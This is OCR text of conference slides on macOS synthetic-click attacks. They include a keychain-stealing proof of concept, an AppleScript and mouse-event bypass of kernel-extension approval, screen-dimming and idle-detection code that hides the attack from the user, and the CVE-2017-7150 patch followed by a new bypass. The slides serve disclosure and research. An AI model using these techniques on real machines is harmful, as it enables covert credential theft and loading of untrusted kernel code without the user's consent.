Ox0000000/7 <blob>="facebook.com"
OxOOOOOOO8 <blob>=<NULL>
"acct"<blob>="patrick"
"atyp"<blob>="dflt"
"cdat"<timedate>=0x32303137303932353038343831335A0
"crtr"<uint32>=<NULL>
"cusi"<sint32>=<NULL>
"desc"<blob>=<NULL*>
"icmt"<blob>=<NULL >
"invi"<sint32>=<NULL> "0S X keychains are designed to protect sensitive data ‘j
"mdat"<timedate>=0x32303137303932353038343831335A0 such as passwords, keys, and credentials" -apple =
"nega"<sint32>=<NULL>
"path"<blob>=<NULL>
"port"<uint32>=0x00000000
"prot"<blob>=<NULL?>
"ptcl"<uint32>="http"
"scrp"<sint32>=<NULL>
"sdmn"<blob>=<NULL >
"srvr"<blob>="facebook.com"
"type"<uint32>=<NULL>

data:

"hunter2"

exfil keychain

M

'KeychainStealer' PoC



Bypassing 'User-Approved Kernel Extension Loading'

# loadKext evil.kext

[+] invoking kext load
[+] opening security & privacy pane

[+] sending 'click' to allow

e - —
 [+] success! 'evil.kext' loaded |

high sierra kext loader

//init apple script
// open 'General' tab of 'Security Pane'
scriptObject = [[NSAppleScript alloc] initWithSource:

@Q"tell application \"System Preferences\"\n" \
"activate\n" \

"reveal anchor \"General\" of pane id \'"com.apple.preference.security\"\n" \

"end tell\n"];

//execute to open prefs
[scriptObject executeAndReturnError:nil];

open 'General' tab

System Extension Blocked

A pregram tried to load new system extension(s)
m = . -')» signed by |

If you want to enable these extensions, open Security
& Privacy System Preferences.

-->

of 'Security & Privacy' pane

OK

= General FileVault Firewall  Privacy

N

N

A login password hasNsgen set for this user Change Password...

N

A

N
- N - -
v Require password = 5Wjoutes C after sleep or screen saver begins

Allow apps downloaded from:

System software from developer ||| NG
I > ocked from loading.

| | Click the lock to make changes.



sh-3.2#

sh-3.2# sw_vers
ProductName: Mac 0S X
ProductVersion: 10.13

BuildVersion: 17A360a
sh-3.2# csrutil status

System Integrity Protection status: enabled.
.+ sh-3.2# kextstat | grep Little
~ sh-3.2# sqlite3 /private/var/db/SystemPolicyConfiguration/KextPolicy 'select * from kext_policy'
* 8J7TAMPT4P | com.vmware . kext.vmhgfs|1|VMware, Inc. (Fusion)|8
-~ 8J7TAMPT4P | com.vmware . kext.vmmemctl|1l|VMware, Inc. (Fusion)I|8
= 8)J7TAMPT4P | com.vmware . kext.VMwareGfx|1|VMware, Inc. (Fusion)I|8
- EG7KH642X6 | com.vmware . kext.VMwareGfx|1lIVMware, Inc.|5
- EG7KH642X6 | com. vmware . kext.vmhgfs|1|VWware, Inc.|1




Making these attacks 'invisible'
the obvious problem: wvisibility...

p alertt X
Q ' {processy is trying to access
(stuffd
deny' allow @7 t

@ Q: "how can synthetic events interact with the UI

in a manner that is not visible to the user?"

L} A: display brightness = 0



Making these attacks 'invisible'

screen brightness ftw! level: O is 'off

void setBrightnessTo(float level)
{

io iterator t iterator;
io object t service;

IOServiceGetMatchingServices (kIOMasterPortDefault,
IOServiceMatching ("IODisplayConnect"), &iterator);

whlle ((serv1ce = IOIteratorNext(lterator))) {

| IODlsplaySetFloatParameter(serv1ce, kNllOptlons, CFSTR(kIODlsplayBrlghtnessKey), level) ; I

}
IOObjectRelease (iterator) ;

IOObjectRelease(serv1ce)

}

dimming the display

Ul interactions still
possible when screen dimmed!




Making these attacks 'invisible'
walt to dim until the user 1s 1nactive

Function

CGEventSourceSecondsSincelLastEventType

Returns the elapsed time since the last event for a Quartz event source.

CFTimeInterval idleTime ()

{

return CGEventSourceSecondsSincelastEventType (
kCGEventSourceStateHIDSystemState, kCGAnyInputEventType) ;

}

while (1idleTime () < 60.0)
{

}

[NSThread sleepForTimelInterval:5.0f];

//user inactive
// a) screen brightness to 0
// b) enable mouse keys & click clack!

detecting 'inactive' user



Making these attacks 'invisible'
wait to dim until the display 1s going to sleep

@) OS sends dim to 100%
kIOMessageCanDevicePowerOff

L—» screen dims to 50%

@ OS sends
kIOMessageDeviceWillPowerOff

L screen dims to 100%, then off

exploit();

void displayCallback (void *context, 1o service t y, natural t msgType, void *msgArgument) {

1f (kIOMessageCanDevicePowerOff == msgType)
//a) dim to 100%
//b) exploit!
}

display = IOServiceGetMatchingService (kIOMasterPortDefault, IOServiceNameMatching("IODisplayWrangler'"));
IOServiceAddInterestNotification (IONotificationPortCreate (kIOMasterPortDefault), display,
kIOGeneralInterest, displayCallback, NULL, &notifier);

CFRunLoopAddSource (CFRunLoopGetMain (),
IONotificationPortGetRunLoopSource (IONotificationPortCreate (kIOMasterPortDefault) ) ,kCFRunLoopDefaultMode) ;

detecting display going to sleep



CONCLUSION
wrapping this up

1]

digita security



Patching 'Mouse Keys'
CVE-2017-7150, High Sierra

Security

High Sierra "Supplemental Update"

Available for: macOS High Sierra 10.13

Impact: A malicious application can extract keychain
passwords

Description: A method existed for applications to bypass
the keychain access prompt with a synthetic click. This
was addressed by requiring the user password when
prompting for keychain access.

CVE-2017-7150: Patrick Wardle of Synack

security wants to use your confidential
information stored in “ids: identity-rsa-private-

key" in your keychain.

To allow this, enter the “login” keychain password.

Password:

? Always Allow Deny Allow

password prompt

& Synthetic Events
Supplemental Update

S log stream | grep mouse

Dropping mouse down event because
sender's PID (899) isn't 0 or self (828)

filtration of synthetic events



. ..one more thing: an Oday
still trivial way to generate synthetic events!

//given some point {x, y} f== == TS dovn
// generate synthetic event... ’

CGPostMouseEvent(point, true, 1, true);
CGPostMouseEvent(point, true, 1, true);

i
P—— mouse down
.. .AGAIN!!

Q: Even after Apple's patch can you send two "mouse down"
> @ events to generate an ALLOWED synthetic mouse click?

-

A: Yes, really...

> synthetically click awant
and \es, this means since its introduction
‘user-approved Kext loading” has NEVER been secure!



Synthetic Reality
a truly powerful capability

3

alert! X

’
' {processy is trying to access
(stutf

A2 2] &= ¢

dump keychain approve kexts capture keystrokes thwart tools




Synthetic Reality
the cat & mouse game continues! ?

filter synthetic
Q events

_ system integrity
core graphics protection

apple script
VS. ™
GA @ accessibility

mouse keys access passwords

UI bypass

macOS Mojave generically blocks:

L> applescript interactions

L> core graphics apis



ing!
...0k, one more last thing! P

l Maui, Hawaii
a--. Nov 3rd/4th

a macOS security conference
In Maul, Hawail

v@ ﬁt All things macOS
| i AN

malware

Objective

BY THE SEA
securlty
Featuring talks by:
/

) )
\
-

Free for
Objective-See patrons!

thomas reed sarah edwards patrick wardle jaron bradley

"Objective by the Sea" conference
ObjectiveByTheSea.com



Finale

dpatrickwardle

ESZj patrick@digitasecurity.com

digita security

| ? cybersecurity solutions for the macOS enterprise
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